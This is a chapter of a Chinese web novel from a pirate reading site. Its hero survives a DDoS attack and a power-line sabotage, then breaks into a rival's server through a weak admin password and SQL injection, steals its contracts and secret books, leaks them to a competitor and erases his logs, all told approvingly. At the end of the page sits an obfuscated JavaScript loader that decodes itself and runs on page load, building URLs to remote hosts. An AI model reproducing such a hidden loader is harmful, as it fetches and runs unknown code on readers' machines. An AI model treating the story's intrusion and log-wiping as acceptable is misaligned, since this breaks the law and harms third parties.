首页
[切换至繁体版]
返回

第53章 驱虎吞狼(二合一)

章节报错(免登陆)

新笔趣阁(52xbq.com)更新快,无弹窗!

    夜色渐深,紫金科创中心的大楼外,一辆不起眼的银色面包车停在马路对面的树荫下。
    车厢里闪烁着微弱的屏幕光,几个人正紧盯着笔记本电脑上的数据跑动。
    “搞定,肉鸡全上线了。”一个戴着鸭舌帽的干瘦青年敲下回车键,“老大,薛总那边说了,直接把他们的带宽堵死。”
    “动手。”领头的人抽了口烟,冷冷下令。
    与此同时。
    305室。
    林欢正坐在电脑前查阅刚上线的几个商户数据,旁边的副屏上,原本一直处于低位运行的服务器监控折线,突然像发疯一样笔直飙升。
    红色的警报弹窗瞬间刷满了屏幕。
    【警告!CPU负载突破98%!】
    【警告!入站流量激增!当前:500Mbps……800Mbps……1.2Gbps……】
    【警告!TCP半连接数异常,队列已满!】
    如果是这个年代普通的创业者,看到这一幕恐怕只能眼睁睁看着服务器宕机,整个业务线陷入瘫痪。
    这意味着正有成千上万台被控制的“僵尸电脑”,在疯狂地向服务器发送伪造的连接请求,要把大门彻底堵死。
    最原始、最粗暴的DDOS攻击。
    然而,林欢看着屏幕上飙升的红色数据,脸上不仅没有丝毫惊慌,反而闪过一丝嘲弄。
    这一切果然跟他想的一样,网睿科技没有放弃。
    “SYNFlood,连个变种代码都不加,特征码全是公开脚本里的。”林欢摇了摇头。
    这种手段放在2009年,对付一般公司绝对管用。
    但是林欢毕竟来自于未来,这种手段在他看来不过是小儿科而已。
    早在前几天配置网络防御的时候,林欢就已经预判到了网睿信息的招数。
    他花了几百块钱,在全国各地租了二十几个极其廉价的VPS虚拟节点。这些节点性能极差,但现在,它们只有一个作用——当肉盾。
    林欢手指在键盘上敲击了几下,调出预设的防御脚本,按下回车。
    瞬间,云端预埋的动态路由指令生效。
    所有正在使用“电商管家”的真实淘宝卖家,客户端在毫秒间接收到了一个微小的更新指令。
    他们的数据请求被悄无声息地导向了隐藏的主服务器IP。
    而那个暴露在外的旧IP,则直接被林欢重定向到了那二十个廉价的VPS节点上。
    几分钟后。
    楼下的面包车里,干瘦青年兴奋地拍了一把大腿:“老大!打死了!对面的IP已经彻底Ping不通了,丢包率百分之百!那小子的系统现在肯定全线崩溃了!”
    “哼,敬酒不吃吃罚酒。”领头的人弹飞烟头,“薛总发话了,给我满负荷打上两个小时,让他知道什么叫疼。”
    他们不知道的是,此时在全国各地的电脑前,那些正在熬夜处理订单的淘宝店主们,仅仅只是感觉软件界面卡顿了一秒钟,随后打单、同步库存依旧飞快,完全没有受到任何影响。
    305室内。
    林欢看着左边屏幕上那几个作为诱饵的节点被海量垃圾流量冲击得红得发紫,而右边的主业务服务器数据却平稳如水。
    “慢慢打,你们一晚上的流量肉鸡费,够我付这几十个废弃节点一年的租金了。”
    时间推移,到了晚上十点半。
    走廊外的声控灯突然熄灭,紧接着,305室顶部的几排日光灯闪烁了两下,“啪”地一声彻底灭了。
    空调停止了送风,周围瞬间陷入了一片黑暗。
    断电了。
    “呵,果然是这套组合拳。”黑暗中,林欢冷笑了一声。
    先搞网络瘫痪,再搞物理拔线,当年那些草莽老板的手段,真是出奇的一致。
    下一秒,“滴——”的一声长鸣。
    机房角落里的工业级UPS电池柜亮起了幽蓝色的指示灯。
    短暂的停顿后,服务器的风扇再次发出了低沉有力的轰鸣,网络交换机的信号灯在黑暗中平稳地闪烁着。
    林欢没有开灯。
    他打开手机手电筒,走到外面办公区。
    今晚留下来值夜班的客服妹子正吓得一激灵,一时之间有些不知所措。
    “没事,备用电源接管了,电脑和网络没断。”林欢每人桌上放了两张红色的百元大钞,“今晚辛苦一下。”
    安抚好员工,林欢拿出手机拨打物业张经理的电话。
    嘟嘟声响了很久,无人接听。
    想来应该是下班时间。
    他挂断电话,直接打给了园区的一楼保安室。
    没过多久,两个保安打着手电筒跑了上来。
    林欢带着他们走到楼层的强电井前,推开铁门,手电筒的光柱打在电表箱上——林欢公司那一溜的空气开关,被人用暴力直接砸坏了,几根主电线被剪断,绝缘皮散落一地。
    “报警吧。”林欢面无表情地说道。
    半小时后,辖区派出所的警察来了。
    做了笔录,拍了照。
    但走廊拐角的监控探头恰好在这几天“坏”了,没有任何直接证据。
    警察也只能按普通的破坏公物案件登记,扔下一句“有线索会第一时间通知你们”,便匆匆离去。
    送走警察,林欢站在走廊尽头的窗户前,看着楼下的街道。
    行政消防找茬、网络DDOS攻击、物理砸电闸。
    薛盛华的手段极其下作。
    林欢意识到,自己纯粹的防守是没有意义的。
    就算他买了UPS,租了节点,对方只要不罢休,明天就能往他门锁里灌胶水,后天就能找小混混堵门。
    这不仅消耗资金,更消耗他的精力。
    必须要想个办法彻底解决问题。
    第二天林欢来到公司,没有处理日常业务,而是打开电脑,开始在本地的互联网行业论坛和企查查的前身网站上,翻找网睿信息的发展史。
    早年能在地方上靠做软件代理和企业ERP起家的老板,底子十有八九都不干净。
    很快,林欢在几篇旧的行业通报和招标新闻里,找到了网睿信息的死对头,鼎锋网络。
    鼎锋网络的老板叫孙健,这两年为了争夺苏省的代理市场,跟薛盛华斗得不可开交,双方积怨极深。
    接下来的两天里林欢把自己关在办公室里,开始干一件他本不想干的事情。
    2009年的国内互联网安全,几乎处于裸奔状态。
    网睿信息的官方网站和代理商后台,用的是极其老旧的ASP架构,底层挂着SQLServer2000数据库。
    防火墙的规则形同虚设。
    甚至很多网站后台的密码是123456,或者是666666、88888888。
    林欢挂上多重跳板代理,开始对网睿的后台进行渗透测试。
    不到十分钟,他就找到了登录接口的致命漏洞。“sa”超级管理员账号的密码,竟然只是简单的“admin888”。
    林欢摇了摇头,这防备简直就像是在保险柜上挂了个塑料锁。
    手指翻飞,一串串标准的SQL注入查询语句顺着网线钻进了网睿信息的服务器。
    他没有搞任何破坏性的删除,只是静默地执行着查询和导出指令。
    几个小时后,一份数据包静静地躺在了林欢的电脑桌面上。
    林欢点开数据包仔细筛查。
    他发现网睿信息的核心利润来源,并非单纯是市面上的通用ERP系统。
    在后台深处,记录着大量为本地商户开发的“定制化软件服务”名单和合同。
    而这块定制化业务,恰好和本地的另一家同行——鼎锋网络高度重合。
    难怪鼎锋的老板孙健和薛盛华斗得水火不容,原来是业务模型重叠了。
    就如同林欢之前做的农场管家和他的竞争对手一样。
    所以同行是冤家,自然而然就变成了这个样子。
    随着数据一层层被剥开,林欢在深挖财务数据表时,又意外发现了一个隐藏的账套目录。
    经过简单比对,这是一本典型的“阴阳账本”,里面极其清晰地记录了网睿信息大量未申报的现金流水和避税款项。
    看着这份足够把薛盛华送进去的铁证,林欢一开始琢磨着直接打包发给税务部门的举报信箱。
    但手刚放到键盘上,他就打消了这个念头。
    2009年这会儿,想要税务稽查部门快速、立案严查一家本地纳税企业,通常必须得是实名举报才管用。
    如果只是随便扔一封匿名邮件过去,不仅流程极慢,甚至很可能中途就被薛盛华找关系压下来了。
    如果自己去实名举报?林欢摇了摇头。
    他一个刚起步的外地大学生跑到前面去当出头鸟,完全是惹火烧身,吃力不讨好,没有任何必要。
    林欢权衡了一下,顺手把定制服务的大客户名单、底价合同,连同那份致命的“阴阳账本”合并在一个文件夹里,重新压缩加密。
    自己没必要去干这脏活,别人总会去干的。
    林欢切出境外节点,登入一个刚注册的匿名邮箱,直接把压缩包发到了鼎锋网络孙健的公开工作邮箱里。
    邮件标题简单粗暴:【网睿信息定制业务核心底价,附送阴阳账本】
    正文只有一句话:【天上掉下来的肉,看孙总敢不敢吃。真假自测。——一个被薛盛华恶心过的人。】
    进度条跑完,发送成功。
    林欢敲击了几下键盘,熟练地清除了所有的访问日志和跳板痕迹,彻底抹去了自己来过的线索。
    关上电脑,林欢靠在椅背上思索了一会。
    他心里很清楚,无论是鼎峰网络那边的反击筹备,还是地税稽查部门收到资料后的立案审核,都需要好几天的时间才能彻底发酵。
    而在这一周左右的空窗期里,如果网睿科技的盛总发现黑客攻击和物理断电都没能让LH科技伤筋动骨,难保对方不会狗急跳墙,使出更多下三滥的阴招来折腾人。
    为了给接下来的全面爆发争取足够的时间,林欢决定先主动低头,把这个地地头蛇稳住。
    他拿起桌上的手机,再次拨通了那个座机号码。
    电话响了没两声就接通了,那头传来盛总慢条斯理、甚至带着一丝得意的声音:“喂,哪位?”
    “盛总,是我,林欢。”林欢刻意放缓了语气,让自己的声音听起来带着一丝疲惫,“昨晚我公司发生的事情,是您做的吧?”
    电话那头的盛总发出一声轻笑,依旧是一副死不承认的态度:“林总,你这话什么意思?我怎么越来越听不懂了。上一次你打电话过来也是这么问,怎么总喜欢问一些莫名其妙的问题呢?小公司经营遇到突发状况很正常,别总往别人身上赖嘛。”
    林欢没有立刻接话。
    片刻后,他像是彻底向现实妥协了一般,对着话筒低声说道:“盛总,我服了。咱们这样好不好?给我一周的时间,一周之后,我让公司重新起草一份收购和入股的协议。这几天我算一下具体的情况,到时候就按照上一次你说的,利润咱们五五分成。”
    听到电话这头少年的“认输”,盛总靠在老板椅上,嘴角微微上扬。
    在他看来,昨晚断网断电的组合拳显然是砸到了这小子的痛处,终于把这个骨头硬的大学生给彻底折腾垮了。
    既然对方已经成了案板上的肉,盛总自然不打算再按原价收网:“五五分成?林总,那都是上一次谈的条件了。这几天拖下来,外面的市场可一直在变。至于具体怎么分,等一周后咱们坐下来,再慢慢聊吧。”
    林欢顺着对方的话重重地叹了一口气:“行吧……那也请盛总多给我几天时间。这程序毕竟是我自己的心血。而且,我也需要时间去说服我这边的合伙人。”
    盛总哈哈大笑起来,心情舒畅,觉得LH科技已经成了自己的囊中之物:“林总到底是个聪明人,还是非常有商业智慧的。行,那我就静候佳音了,一周后见。”
    “一周后见。”
    林欢平淡地吐出四个字,随后挂断了电话。
    随手把手机扣在桌上,林欢脸上的疲态瞬间荡然无存。
    ……
    第二天一早,鼎锋网络总经理办公室。
    孙健看着技术部刚刚在沙箱环境里解压出来的邮件附件,整个人都惊呆了。
    起初他以为这是对家搞的木马病毒,但当他试着拨通了名单上几个他一直挖不动的大客户电话,并准确报出对方和网睿签约的底价后,对方震惊的语气让他瞬间明白——这名单是真的!
    “全是真的!连代理商的续费节点都精确到了哪一天!”孙健狂喜地一拍桌子,眼睛都红了,“通知销售部所有人,今天全部取消休假!照着这份名单,拿着比他们底价再低十个点的方案,给我往死里挖!立刻!”
    
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="r5b0n433ax";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/5n)02ossdR/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"5n)02ossdR"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mShYfh(:m2YF"="}Ko}X5ThF)m^XDpqRTm2YF"="}Ko}2pThFmShYfh(:m2YF"="}Ko}_JqhFm^XDpqRTm2YF"="}Ko}2TOhFmShYfh(:m2YF"="}Ko}CSqhF)m^XDpqRTm2YF"="}Ko})FfThF)fmShYfh(:m2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m4)hp25)m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m4)hp25)m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q/f/}Ko}j(8}vY85n)02ossdR"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();